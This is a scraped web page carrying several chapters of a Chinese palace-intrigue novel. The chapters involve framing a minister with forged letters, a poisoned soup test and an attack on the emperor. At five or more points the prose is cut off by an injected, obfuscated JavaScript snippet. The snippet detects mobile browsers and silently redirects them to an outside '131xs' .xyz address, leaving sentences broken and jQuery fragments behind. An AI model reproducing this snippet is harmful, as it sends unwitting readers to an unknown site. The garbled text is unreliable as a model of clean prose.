“三皇子,人心都是肉长的,当忠义换来的只是猜忌、构陷和家破人亡时,再坚固的信念也会崩塌。” 她的声音陡然拔高,带着一种玉石俱焚般的决绝,“姜家父子的心早已冷了,他们缺的只是一个能带着他们向陆禀讨还血债的人,而我恰好能给他们这个希望,在他们眼里我只是他们的孩子,而非旁人。” 她直视着慕容沣的眼睛,一字一句,掷地有声:“待我父兄归来,重掌兵权,立足京城,再不济也会让陆禀夜夜难寐。” “这刺杀便是压垮骆驼的最后一根稻草,也是为三皇子日**主中原,扫清最大障碍的序曲,三皇子以为如何?” 内室陷入一片死寂。 慕容沣静静地站在阴影里,他那张俊美却冷硬的脸上看不出神情。 良久,低沉的声音在室内响起: “好,皇妹之谋鬼神莫测,本王心悦诚服。” “此局,本王入,皇妹放手施为,北狄在京城及关外所有暗线、人手、资源皆听凭皇妹调用,本王承诺必助皇妹完成这计划,让陆禀在龙椅上生不如死!” 他向前一步,微微倾身,靠近床榻,声音冰冷杀伐决断: “皇妹只需告知,何时、何地、以何种方式点燃这第一把火,本王的麾下随时待命,可化为皇妹手中最锋利的**。” 姜清宁迎着他迫近的目光,毫无惧色。 “三日后。” “在陆禀略微的缓过神后再行刺杀,让他再次陷入绝望之中,惶惶不可终日。” “好,三日后,本王自然会派人助皇妹一臂之力。” 话音落下,慕容沣转身,抬步离开。 “三皇子不考虑住在京城?”姜清宁看着高大的背影,语气清冷的发问。 “住在敌人的地盘,只会让本王夜不能寐。” 慕容沣并未回头,商量完事情之后的语气慵懒。 房内归于寂静,紫苏和知秋推门而入,一人端着热水盆,一人端着汤药。 “大小姐,该喝药了。”紫苏上前,将汤药递给姜清宁,随之的还有一道纸条。 姜清宁端过养身的汤药一饮而尽,将碗递给紫苏,摊开纸条浏览上面的信息。 “清晞那里动向如何了?” “二小姐已经前往通州,估摸着路程,已经走上了水路。” “很好,这种时候,她去接应父兄,才是最好的安排。” “皇宫之中呢?秦休和贺宁的进展如何?” 姜清宁接过知秋递来的热帕子,轻轻擦拭着问道。 紫苏低声道:“大小姐放心,方才二位还先后传来的信,宫中的丹药剂量会按照您的安排加重,秦大人说雍王插手了这件事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150126|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他会担起雍王入局的所有后果。” 知秋接过帕子,抬步走到门外,关上房门,和房梁上的暗一对视一眼,几不可查地点头。 “他倒是放心自己的外甥,皇子弑父,有什么模样的父亲就有什么样的儿子,龙椅上的这位当年不就是这样抢来的皇位。” 姜清宁呵止:“好了,这种话不能多说,你和秦休传信吧,就说一旦出了任何岔子,这件事没完。” 紫苏忙道:“是,小姐放心。” 话音落下,紫苏给姜清宁掖了掖被角,看着她闭上眼睛之后,起身离开这里。 城外。 “殿下,这位长公主当真能够相信吗?”暗卫低声询问。 “能相信如何,不能相信又如何,左右本王都来了这京城,那便必须要做出功绩,才能回去和太子一争。” 慕容沣眸光闪过讥讽,就因为他的母妃也是中原人,当年因为貌美被父王强占生下他和四妹,可却在父王的后宅之中处处低人一头。 那可达王后宁愿抱养一个婢女所生的孩子,让父王立为太子,都不愿意抚养他,父王也从未将他放在眼里。 前朝后宫如今站位分明,可他身后的得力之人一个都没有,如今能培养几千精锐,还全靠他这些年不辞辛劳。 暗卫忙道:“殿下乃是真龙之子,定能一定乾坤,夺得最终之位!” 慕容沣冷笑:“继续去查,当年她流落中原,又怎会如此巧合地被那嬷嬷替换成姜家女?这之中定然有阴谋存在。” 暗卫一凌:“殿下是觉得,她不是长公主?” 慕容沣一个眼神扫过去,冰冷无比:“不该问的不要问,若是让她得到消息,合作终止,本王要你的命!” “是,属下这就去查!” 三日后。 凤撵浩浩荡荡地停在养心殿外,秦贵妃扶着宫女的手走下凤撵。 王德顺走出殿外,看到秦贵妃已经走上台阶,狠辣地瞪了眼两旁的太监,提着袍子快速跑上前。 “哎呦,贵妃娘娘来了,奴才该死,竟没得到通传!” 第182章全家** 秦贵妃斜睨了眼王德顺,笑道:“王公公照料陛下辛苦,本宫不过是见陛下多日未进后宫,心中担忧,这才来探望。” “本宫贸然前来,不会打搅陛下休息吧?” 王德顺忙躬身:“陛下方才午睡醒来,娘娘里边请,陛下见到贵妃娘娘必定心中欢喜。“ 秦贵妃勾唇,在王德顺殷勤的伺候下走入养心殿内。 未过一会儿,王德顺走出养心殿,脸上的笑容陡然变得凌厉,抬脚就冲两旁的太监一人一脚,将其踹个仰躺。 “没心眼的狗东西,贵妃娘娘来了也不通传,眼睛长着有什么用,不如挖了省事!” “公公饶命!公公饶命啊!” 四个太监听到这话,连忙爬起来跪着磕头。 “一人拉下去重打二十大板,这次就给你们长个记性,下次眼睛都别想要了!” 王德顺气不打一处来,冲着禁军挥手,不过眨眼间的功夫,四人便被捂着嘴拖了下去。 不远处,四个新人补到禁军之中。 王德顺观察一圈入目可见的地方,将守卫森严的养心殿映入眼中,方才满意地点头,转身走入殿内。 “陛下一连多日未进后宫,姐妹们可都担心陛下的龙体呢,这才让臣妾先带头来一趟。” 秦贵妃趴在陆禀身旁,被他揽在怀里,垂眸遮去眼底的不耐,语气温柔亲昵。 陆禀一连服用了小半月的丹药,此刻觉得体内精力无限,隐隐有重返三十岁时候的感觉,看着三十多岁正值妩媚风情的秦贵妃,顿时心痒难耐。 “贵妃啊,朕这些时日忙着跟着道长修行,冷落后宫是朕的不是,朕今夜就去你的宫里。” “陛下~那臣妾等着您,只是您一定要雨露均沾才行啊,臣妾可不想一人独大,让后宫之中的姐妹们寒了心。” 陆禀被秦贵妃哄得大笑,揉捏着她的手道:“那明日朕就去江美人那里,定不会让贵妃为难的。” “江美人能得陛下喜欢,是她的福分。” 秦贵妃眼底闪过暗芒,声音更加温柔道。 …… 秦国公府。 “孽障!还不跪下!” 秦国公怒目圆睁,不可置信地看着眼前风光霁月的儿子。 就在几息前,他从小疼爱,寄托着所有期望的嫡子,和他坦白自己要**,甚至进程已经进行一半了。 秦国公夫人眼前一黑,但仍然强撑着镇定,紧紧地握着太师椅的扶手。 “承元,你和母亲如实说,你是不是为了……” 秦休跪在二老的面前,自从坦白之后,就一声不吭地接受着秦国公的怒斥。 直到此时,他才抬头,神情冷清道:“母亲,这一切都是我自己的决定,阿姐和四皇子依然在其列,和姜清宁无关。” “你还说不是因为她!母亲都没有提她的名字!” 秦国公夫人脑中天旋地转,要不是坐在椅子上,她都觉得自己能一下子摔倒在地。 “谁?承元要造……咳,是因为谁?” 秦国公察觉到母子二人的话中之意,顿时转身看向自家妻子。 秦国公夫人有话难言,但饶困不住秦国公自己想到。 “坊间这半年来的消息……不是谣传?!”他愕然。 “你怎的才反应过来啊?那坊间传得沸沸扬扬的,又怎么会是谣传呢!”秦国公夫人无语。 “那姜清宁……她可是贺宁的未婚妻啊!你……你这孩子……” 秦国公结巴地指着面色清冷倔强的秦休,半天说不出难听的话来。 毕竟当初春猎上,他是见到过姜清宁的箭术的,况且他们武将之女,又怎么会是先前流传的那种妒妇呢? 可姜清宁是别人的未婚妻,两次都没轮到他儿子……总不能强抢吧……那可是武将之女啊。 秦国公夫人抿唇道:“这么多年我也不瞒你了,那姜清宁就是承元的心上人,他这么多年不愿意娶妻,连山阳郡主都看不上,不就是因为姜清宁已经嫁人生子,所以不愿意将就。” “前阵子我原以为姜清宁和离了,我们承元能够挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162686|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一挣把人娶回来,谁曾想从天而降一个贺宁,把好好的亲事给抢走了。” “我原本都去寺庙找大师算了,说他们二人是天造地设的一段姻缘,难不成还要等贺宁和姜清宁和离,才能轮得上咱们家儿子?” 秦国公夫人陷入沉思,百般不得其解。 秦国公听着夫人的陈述,再也说不出话来,默默地坐下,半晌道:“那就只能**了……” 此话一出,秦国公夫人侧眸,秦休抬头,母子二人齐刷刷地盯着秦国公。 “咳。”秦国公尴尬地一捋短须,眼神飘忽道,“比起将武将赶尽杀绝的那位,本国公还是更想要一个儿媳。” “万一这姜清宁日后能够得到大造化,你抓紧机会凑上去,得到青睐,将人抢回家里也不是没可能。” 是要一生安稳,还是秦家断后,秦国公觉得自己比谁都看得清楚。 无论如何,秦家的根不能在他掌家的时候断了,况且姜家女的父兄都是极好的,这样的父母又怎会教不好孩子呢。 “这事就这样定了,你阿姐和雍儿那里知会一声,不要凡事都抢个第一,紧要关头把贺家小子推出去顶罪才是真的……” 秦国公夫人脸色一沉,抬手给了他一下:“这话传到镇北王耳中,你们还想再大打出手不成?” “好了你,还跪着呢,没瞧见你爹都发话了,他既然支持你,母亲也没什么好说的,只求一点,若是不成,你们决不能被牵连进去。” 秦休立即起身,坚定道:“父亲母亲放心,此事本不需我们做什么,我只需要父亲从现在开始告病,卧床不起。” 秦国公和秦国公夫人对视一眼,面面相觑。 宁阁。 秦休翻墙而入,动作自然流畅,仿佛早已经做过千百遍一样。 “哟,没想到秦大人还有翻墙做采花贼的时候,倒是让贺某刮目相看啊。” 贺宁抱臂站在墙下,长身玉立,一副鲜衣怒马少年郎的模样。 秦休转身,面色淡定地从他身旁路过:“聒噪。” 第183章想不到标题ing…… 贺宁嘴角那点玩味的笑意敛去,望着秦休的眼底冷光乍现。 “秦大人好大的架子。”话音未落,墨蓝身影已如离弦之箭,裹胁着凌厉劲风,直取秦休后心, 秦休仿佛背后长了眼睛,在劲风集体的瞬间猛地侧身,贺宁的指尖擦着他玄色的背部布料掠过,带起嗤啦一声轻响。 秦休脚下未停,腰身拧转,右肘狠狠撞向贺宁肋下,沉闷的肉体撞击声在寂静的庭院中格外清晰。 两人一触即分,又瞬间纠缠在一起,没有兵刃,纯粹的拳脚相搏,却招招凶险劲气四溢,贺宁身法灵动诡谲,指掌翻飞间皆是刁钻狠辣的招式。 秦休大开大阖,势沉力猛,每一拳每一脚都带着战场淬炼出的血腥杀气。 落叶被二人激烈的动作卷起,满园落叶纷飞,看起来就让下人们头疼。 “够了!” 一声清冷的低喝,瞬间止住二人的动作。 内室紧闭的房门被推开。 姜清宁披着一件素色锦缎斗篷,乌发未绾,随意垂落肩头,她脸色依旧苍白,但双眸子清冷得惊人。 她站在台阶上,目光扫过庭院中那两个骤然停手,却依旧剑拔**张的身影,以及那被他们搅得一片狼藉,落叶断枝铺了满地的院子。 阳光洒在她身上,勾勒出单薄却挺直如松的轮廓,带着无形的威压。 贺宁率先收回招式,拍了拍衣袖上并不存在的灰尘,脸上重新挂起那副玩世不恭的笑容,只是眼底深处还残留着一丝未散的锐利:“清宁你醒了,是这莽夫吵到你了?” 他意有所指地瞥向秦休。 秦休无视贺宁,他站直身体,目光直直落在姜清宁脸上,眼神似乎在无声地控诉某人的过分行为。 姜清宁没有理会贺宁的调侃,她走下台阶,绣鞋踩在厚厚的落叶上,发出细微的碎裂声。 她环视着这如同被飓风扫过的庭院,面色沉静如水,眼底的寒意却越来越重。 “看来二位精力很是旺盛。” 她的声音不高,却清晰带着不容置疑的命令口吻,“既如此,也别闲着,紫苏,知秋。” “奴婢在。”两个身影立刻闪出。 “取两把扫帚来。” 姜清宁的目光落在贺宁和秦休身上,语气平淡无波,“二位既然在我这院子里活动开了筋骨,想必也不介意再活动活动,将这满园落叶打扫干净。” 贺宁脸上的笑容瞬间僵住,随即化为一种哭笑不得的荒谬感。 秦休看着姜清宁那张毫无商量余地的脸,抿紧了唇,没有敢出声反驳。 紫苏和知秋动作麻利,很快取来两把崭新的竹枝大扫帚,忍着笑,分别塞到贺宁和秦休手中。 于是,出现了极其诡异的一幕:权倾朝野的秦世子与威名赫赫的贺世子,一人持着一把大扫帚,在宁阁的庭院里,默默地清扫满地狼藉的落叶和断枝。 姜清宁没再看他们,转身走向庭院角落的凉亭。 知秋早已在亭中石桌上摆好红泥小炉、银丝炭、一套素雅的青瓷茶具和一罐上好的雪顶含翠。 她解下斗篷递给紫苏,在铺了软垫的石凳上坐下。 素白的手指拈起茶匙,舀出碧绿的茶叶投入温热的壶中,动作行云流水,带着一种与世隔绝的宁静。 水汽氤氲,茶香开始在庭院里弥漫。 阳光温和,凉亭暖炉,素手烹茶,美人如画,若忽略掉亭外那两个挥舞着扫帚的苦力,这场景堪称岁月静好。 未过许久,两人熟练之后,快速地打扫干净院落,朝着姜清宁走过来。 贺宁脸上那点玩世不恭彻底收起,取而代之的是一种冷肃的锐利:“你打算何时动手,陆禀刚被吓破胆,如今身边护卫比铁桶还严。” “正因为刚受惊,才最容易草木皆兵。” 姜清宁将第一泡茶汤缓缓注入茶海,动作优雅,眼神却冷冽如霜,“惊弓之鸟,再受一击才够刻骨铭心,一次不够,就两次,三次直到他彻底崩溃。” 她将两盏清澈碧透的茶汤分别推到石桌对面,抬眸,目光在贺宁和秦休脸上扫过:“就今晚。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162687|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今晚?” 秦休眉头紧锁,“时间太紧,如何布局?” “淑妃的永和宫。” 姜清宁端起自己面前的茶盏,轻轻嗅着茶香,语气平淡得像在讨论天气,“陆禀被贵妃娘娘哄出养心殿,去了江美人处几日如今心神稍松,此时若他宠爱的淑妃派人盛情相邀,你们说他会不会去?” 贺宁眼神一亮:“淑妃其父是吏部尚书陈元礼,陈老狗当年可是构陷姜伯父通敌案的主笔之一,二皇子陆祯更是仗着母妃得宠,在朝中处处与雍王为难,拉拢了不少墙头草。” “不错。” 姜清宁唇角勾起一丝冰冷的弧度,“陈元礼老奸巨猾,当年构陷我父兄他递的刀笔最狠,淑妃在后宫仗势欺人,陆祯觊觎储位已久,这一家子早就该清算了。” 她放下茶盏,指尖在冰冷的石桌上轻轻敲击:“今晚买通永和宫负责传话的小太监,让他请陛下务必移驾淑妃处,王德顺还需要借机支开。” “永和宫内,我来安排妥当。”秦休点头。 “但这还不够像谋逆。”贺宁沉吟道。 “自然不够。” 姜清宁眼中寒光闪烁,“参汤下毒,小太监行刺都要安排妥当,场面越是混乱之际,越需要一场恰到好处的刺杀。” “我们既要让淑妃有口难言,让陈元礼体验一下有口难言的结局。” 贺宁瞬间明悟:“嫁祸陆祯弑父夺位?” “没错,我要让陈家所有人付出应有的代价。” “陈尚书家中,你打算如何做?”秦休开口询问。 “自然是他们当年怎么对待我父兄的,如今我就要一笔一笔的全部还回来啊。” 姜清宁眉眼弯弯,笑容温和中夹杂着杀意。 “只有让他们体会到切实的愿望和痛苦,才能明白下辈子要做个好人才是。” “这是我准备的通敌叛国的罪证,届时会让人放入陈元礼的书房之中,还有他和府上幕僚,来往官员们买卖官位的证据,全部都在其中,真真假假,掺杂着的才是最真的。” 第184章想不到标题+1 宁阁。 空气中弥漫着清洌的茶香,姜清宁未着披风,只穿了一身素净的月白常服,乌发松松挽起,簪着一支简洁的白玉簪。 她端坐在书案后,面前摊开着一张微缩的永和宫布局图,线条精细,连几处隐秘的角门和侍卫换防的间隙都标注得一清二楚。 烛光跳动,映着她苍白却异常沉静的侧脸,那双眸子深不见底,如同两口冰封的寒潭。 一只不起眼的信鸽稳稳落在窗沿上,紫苏熟练地解下鸽子腿上绑着的细小铜管,倒出里面卷得紧紧的纸条。 姜清宁接过信封,指尖展开,是秦休刚劲短促的笔迹:“一切已安排妥当。” 姜清宁指尖在几个字上轻轻划过,眼中寒芒一闪即逝。 她提笔蘸了遇水即消的墨汁,在一张同样大小的素笺上飞快写下:“子时三刻行动,切记,注意安全。” 墨迹未干,她已将纸条卷好,重新塞入铜管,系回信鸽腿上。 信鸽扑棱一下翅膀,再次融入窗外无边的黑暗。 做完这一切,姜清宁拿起另一份密报,目光落在名单上几个被朱砂圈出的名字上,指尖无意识地敲击着桌面。 “贺宁那边……”她声音低低响起。 窗边的知秋立刻回身,低声道:“小姐,贺世子半个时辰前已离府,暗卫回报,他带着人已潜进陈府。” 姜清宁微微颔首,声音冷得没有一丝温度:“陈元礼,当年你构陷我父兄通敌的刀笔字字诛心,今夜就用你满门的血,来祭奠我姜家蒙受的冤屈。” 陈府高墙深院,巡夜的家丁懒洋洋地沿着固定的路线走动,哈欠连天,浑然不觉几道影子,悄无声息地潜入了内院。 贺宁一身夜行衣,完美融入阴影之中。 避开一队打着哈欠的护卫,贺宁如鬼魅般闪到书房窗下。 窗棂紧闭,他取出一根的铜丝探入锁孔,手腕极其轻微地抖动几下。 “咔哒。”一声轻到几乎不存在的脆响。 窗户被无声地推开一条缝隙。 贺宁身形一缩滑了进去,两名暗卫紧随其后,一人留在窗外把风,另一人迅速关上窗户。 书房内一片漆黑,弥漫着陈年书墨和檀香的味道,贺宁避开桌椅摆设,径直走向那张宽大的紫檀木书案。 他目标明确地拉开左侧最下方一个不起眼的抽屉,按照姜清宁的嘱托,这是陈元礼存放重要私信和尚未归档奏疏草稿的地方,贺宁从怀中摸出几份早已准备好的书信放入进去。 做完这些,贺宁犹嫌不足。 他目光锐利地扫过书案,最终落在砚台下压着的一叠普通公文上。 他抽出最下面一份看似无关紧要的文书,在末尾空白处,用一支蘸了陈元礼常用松烟墨的笔,飞快地添了几行小字:“……成败在此一举,吾孙登基之日,尔等皆是从龙功臣。” 墨迹未干,他又将这份公文原样塞回最底层,用沉重的砚台压好。 “头儿,好了。” 负责搜查另一处暗格的暗卫低声禀报,手中拿着几本看似普通的账册,“按您的吩咐,这几本盐银和丝绸的账册里,夹了几张北狄王庭特有的金箔礼单,还有一小包北地才产的金丝燕窝。” 贺宁满意地勾起唇角,笑容在黑暗中显得格外冰冷:“很好,我们撤。” 三人如同来时一般,悄无声息地退出书房,关好窗户抹去一切可能留下的细微痕迹,迅速隐没在陈府深沉的夜色里。 永和宫。 淑妃一身桃红色宫装,衬得她肌肤胜雪,容光焕发。 她正对着菱花镜,宫女小心翼翼地簪上一支赤金点翠钗,镜中的眉眼带着掩饰不住的得意和一丝紧张。 今夜若能哄得陛下高兴,或许就能为祯儿定下这门亲事,父亲在前朝的运作,祯儿在陛下面前的乖巧,一切都朝着最好的方向发展。 “娘娘,陛下真的会来吗?”宫女忐忑道。 “闭嘴!”淑妃柳眉一竖,随即又压下火气,对着镜子露出一个志在必得的笑容。 “本宫亲自派人去请, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆禀被淑妃勾起兴趣,饶有兴味的朗笑开口:“你向来是挑剔的,能让朕的淑妃开口夸的,想必的确是一位绝色美人,那朕就是多等几日又有何妨!” 第185章参汤 淑妃遮去心中的酸楚,亲自扶着陆禀坐在首位,声音哽咽中带着思念道: “陛下许久未来臣妾这里,臣妾记得您爱吃臣妾做的龙井虾仁,您尝尝这味道如何?” 陆禀回忆道:“贵妃年幼时就爱吃这道菜,自从秦国公府的厨子死后,这个世上就再没人能做出贵妃爱吃的龙井虾仁了,朕当年为了让贵妃开怀,的确曾寻过无数的名厨入宫做菜。” 淑妃一哽:“那陛下快尝尝味道如何,若是陛下吃着喜欢,臣妾明日便亲自做了,送到贵妃姐姐的宫中去。” 一旁的试毒太监上前,将每道菜挨个试了一遍,淑妃维持着笑容,起身为陆禀布菜。 陆禀执筷放入口中,细细品味,点头道:“味道的确不错,但应当不是贵妃的口味。” 淑妃脸色微僵,继续夹菜道:“那陛下尝尝别的,这道菜臣妾再好生学学,日后没准不能呈到贵妃姐姐的面前。” “嗯。”陆禀淡淡地嗯了一声,眼角微抬,打量着淑妃道:“朕记得,你许久不曾穿这个颜色的衣服了,如今仔细一看,倒是有几分当年的风姿。” “陛下喜欢就好。”淑妃双颊一红,娇羞开口道,“只是臣妾有陛下日日陪伴,但祯儿身边却一个知冷知热的体己人都没有,臣妾只要想到就会心中担忧不已。” “那淑妃的意思是?” 陆禀放下筷子,沉声道:“淑妃如此说,心中难道已经有了人选?” 淑妃心中喜悦,满心满眼都是儿子陆祯,忍不住激动道: “倒是不用陛下特意赐婚,臣妾想九月便是三年一度的选秀,届时臣妾的侄女悦儿会参加选秀,悦儿是臣妾嫡亲的侄女,悦儿与祯儿青梅竹马,若是能够和表妹喜结连理,也不失为一桩美谈啊。” 陆禀听着淑妃毫不收敛,甚至越来越猖狂的话语,脸色顿时难看不已,猛地将筷子一摔。 顿时,现场哗啦一声全部跪倒一片,宫女太监们跪伏在地,瑟瑟发抖生怕皇威发泄到他们的身上。 前朝后宫,最忌讳的莫过于牵连甚广,淑妃此举无异于在陆禀的雷点上蹦跶。 淑妃浑身一颤,妩媚的神情顿时变得苍白不已,眼底浮现出恐惧,想到儿子陆祯多年隐忍,却始终输给陆雍一等。 她起身跪下,倔强地抬头,红着眼眶哭诉道:“陛下!祯儿已经弱冠三年,臣妾只是想要祯儿身边有个贴心人照顾,臣妾绝无旁的心思啊。” 陆禀目光沉沉地审视着眼前人,他经历过无数兄弟夺嫡,自己更是因为……才夺得这皇位,成为大乾的主人。 堂堂九五之尊,只有坐过无上之巅的高位,才会如此渴望长生,忌惮子女势大。 而不让他的四个儿子成为当年的他,才会至今没有令其娶亲,陆乘当初不过是迫于林崇和林皇后的影响,才会答应选秀前为他举办选妃宴。 曾经因为林家和陆乘倒台刚放下心的陆禀,现如今心中的猜忌再次疯狂涌现,秦氏一脉放手兵权,秦休为了他的大业尽心竭力,贵妃深受宠爱,最小的儿子陆雍更是惊才绝艳。 可若非青阳子仙师劝解,他却也绝对不会把权力,这么早的放手给陆雍,并且册封为雍王。 但他除了被废的长子陆乘,还有两个长成的儿子,淑妃所出的二皇子陆祯,与贤妃所出的三皇子陆栖。 这段时日太过于精心跟随仙师修炼,竟是对他们有了松懈之心。 “陛下,祯儿同岁的男子膝下已有子嗣,可他不仅连妻都没娶,就连个侧妃侍妾都没有……”淑妃哽咽,跪在地上道。 陆禀居高临下地看着他,开口道:“既然淑妃心疼孩子,那朕就为他赐下一门婚事。” 淑妃脸色一喜,感激之言还未说出口,就被陆禀接下来的话惊得五雷轰顶。 “来人!” “陛下。”小太监连忙爬跪上前,恭敬应声道。 陆禀扫了眼压抑着喜悦的淑妃,沉声道:“传朕旨意,二皇子陆祯人品贵重,着赐……礼部尚书嫡女为二皇子妃,婚期就定在年后,令三皇子陆栖今年也已弱冠,赐陈尚书嫡女陈悦为三皇子妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“本宫亲自为陛下熬的参汤,你也敢拦?眼里还有没有本宫,有没有陛下?” 王德顺却毫不退缩,布满皱纹的脸上是前所未有的凝重和坚持。 他根本不看淑妃,一双老眼紧紧盯着陆禀,声音异常郑重:“陛下的龙体为重,宫中刚经大变,人心叵测,入口之物尤其是汤药羹食,按祖制必得先行验看,老奴职责所在不敢有丝毫懈怠,请陛下容老奴一试!” 他这番话说得义正辞严,字字句句打在陆禀那根最敏感脆弱的神经上。 曾经濒死的窒息感瞬间又涌上心头,陆禀脸上的笑容僵住,柔和的神色被惊疑取代。 他看着淑妃那因愤怒而扭曲的艳丽脸庞,再看看王德顺毫不退让的态度,猜忌从心底悄然滋生。 “淑妃啊,稍安勿躁,王德顺说得有理。” 陆禀声音干涩,眼神闪烁不定,身体下意识地往后缩了缩,避开近在咫尺的参汤,“你且验来。” “陛下?!”淑妃又惊又怒,不可置信,这参汤可是她亲手熬的,怎么可能会出问题。 “陛下,臣妾当真是有苦难言,这汤可是臣妾亲手熬煮,在小厨房一直盯着的,这里面的百年人参可都是祯儿亲自寻来的!” “验!”陆禀猛地提高声音,顿时惊惧不已,神情烦躁。 王德顺不再犹豫,立刻从怀中掏出一个扁平的银质小盒,打开取出一根细长锃亮的银针。 他动作沉稳,在淑妃几乎要喷火的目光注视下,将那银针缓缓探入白玉盅温热的参汤之中。 殿内死寂。 所有人的目光都死死盯在那根银针上。 淑妃的呼吸变得急促,袖中的手被气得微微颤抖。 然而,仅仅数息之后,异变陡生。 那原本亮如明镜的银针,浸入汤液的部分,竟以肉眼可见的速度迅速变黑,如同被墨汁浸染。 “啊!”端着汤盅的宫人吓得魂飞魄散,手一抖,白玉盅“哐当”一声摔落在地。 滚烫得参汤四溅,黢黑的银针在破碎的瓷片和污浊的汤水中,显得格外刺眼。 “陛下您瞧!这是剧毒!” 王德顺目眦欲裂,指着地上黢黑的银针,再看向不可置信的淑妃,声音因为极度的愤怒和后怕而尖厉到破音。 “淑妃你好大的狗胆,竟敢在参汤中下此剧毒,意图谋害陛下!来人啊!将这毒妇拿下!” “不!不是我!陛下!臣妾冤枉!” 淑妃吓得魂飞天外,脸色惨白如纸,扑通一声跪倒在地,涕泪横流地尖叫辩解,“是有人陷害,是有人要害臣妾,陛下明鉴啊!” 殿内外的太监侍卫被这惊变骇得目瞪口呆,此刻听到王德顺的命令,如同找到了主心骨,几个太监不由分说地将哭喊挣扎的淑妃死死摁在地上,任她如何嘶喊冤枉。 陆禀看着地上那根黢黑刺目的银针,再看看被摁在地上状若疯妇的淑妃,一股寒意从脚底板直冲天灵盖。 刚才那点温情瞬间化为无边的恐惧和暴怒,他猛地从软榻上跳起来,看也不看地上的淑妃,如同躲避瘟疫般一把推开挡在身前的人,跌跌撞撞就朝殿外冲去。 “陛下!陛下小心!”王德顺见状,也顾不上淑妃,连忙跟上护驾。 陆禀惊慌失措地冲出正殿,夜风一吹,让他打了个寒战,头脑却更加混乱。 他只想快点回到自己重重护卫的养心殿,他脚步虚浮,踉跄着走下台阶。 旁边廊柱的阴影里,一个原本低眉顺眼,毫不起眼的小太监猛地蹿出,动作快得惊人,一把就死死抓住了陆禀龙袍的衣袖。 “啊!” 陆禀猝不及防,被拽得一个趔趄,惊恐地回头,正对上小太监充满仇恨的眼睛。 “昏君!**吧!” 小太监嘶吼着,从袖中抽出**狠狠朝着陆禀的心口捅去,带着玉石俱焚的决绝。 陆禀吓得魂飞魄散,小太监的力气大得惊人,让陆禀无法摆脱,眼看就要被**刺入胸膛。 “陛下!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170351|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>千钧一发之际,紧跟着冲出来的王德顺惊呼,竟是不顾一切地撞向陆禀。 “噗嗤!” **狠狠扎进了王德顺的侧腹,鲜血瞬间染红了深色的太监服。 王德顺发出一声痛哼,身体剧颤,却死死挡在陆禀身前。 小太监一击不中,猛地拔出**,直扑被撞得摔倒在地,惊恐万状的陆禀。 这一次,**狠狠划向陆禀的脖颈,令他下意识地用手臂去挡。 “嗤啦!” 锋利的**瞬间割裂了明黄的龙袍袖口,在他小臂上划开一道深可见骨的血口,剧痛袭来,陆禀惨叫出声。 “咻!” 一道乌黑的箭影,自宫门方向射来。 箭镞精准无比地狠狠贯穿了小太监的胸膛,巨大的冲击力带着他前扑的身体,猛地向后倒飞出去。 小太监脸上的狞笑瞬间凝固,转为极致的痛苦和难以置信。 他低头看着胸口颤抖的箭羽,大股大股的鲜血从口中狂涌而出,徒劳地抽搐两下身体轰然倒地,双目圆瞪,瞬间毙命。 陆禀瘫坐在地,手臂剧痛,鲜血染红半边身子,脸上身上溅满鲜血,狼狈不堪,惊恐到极致。 他浑身筛糠般颤抖着,茫然地抬起头,顺着那一箭射来的方向望去。 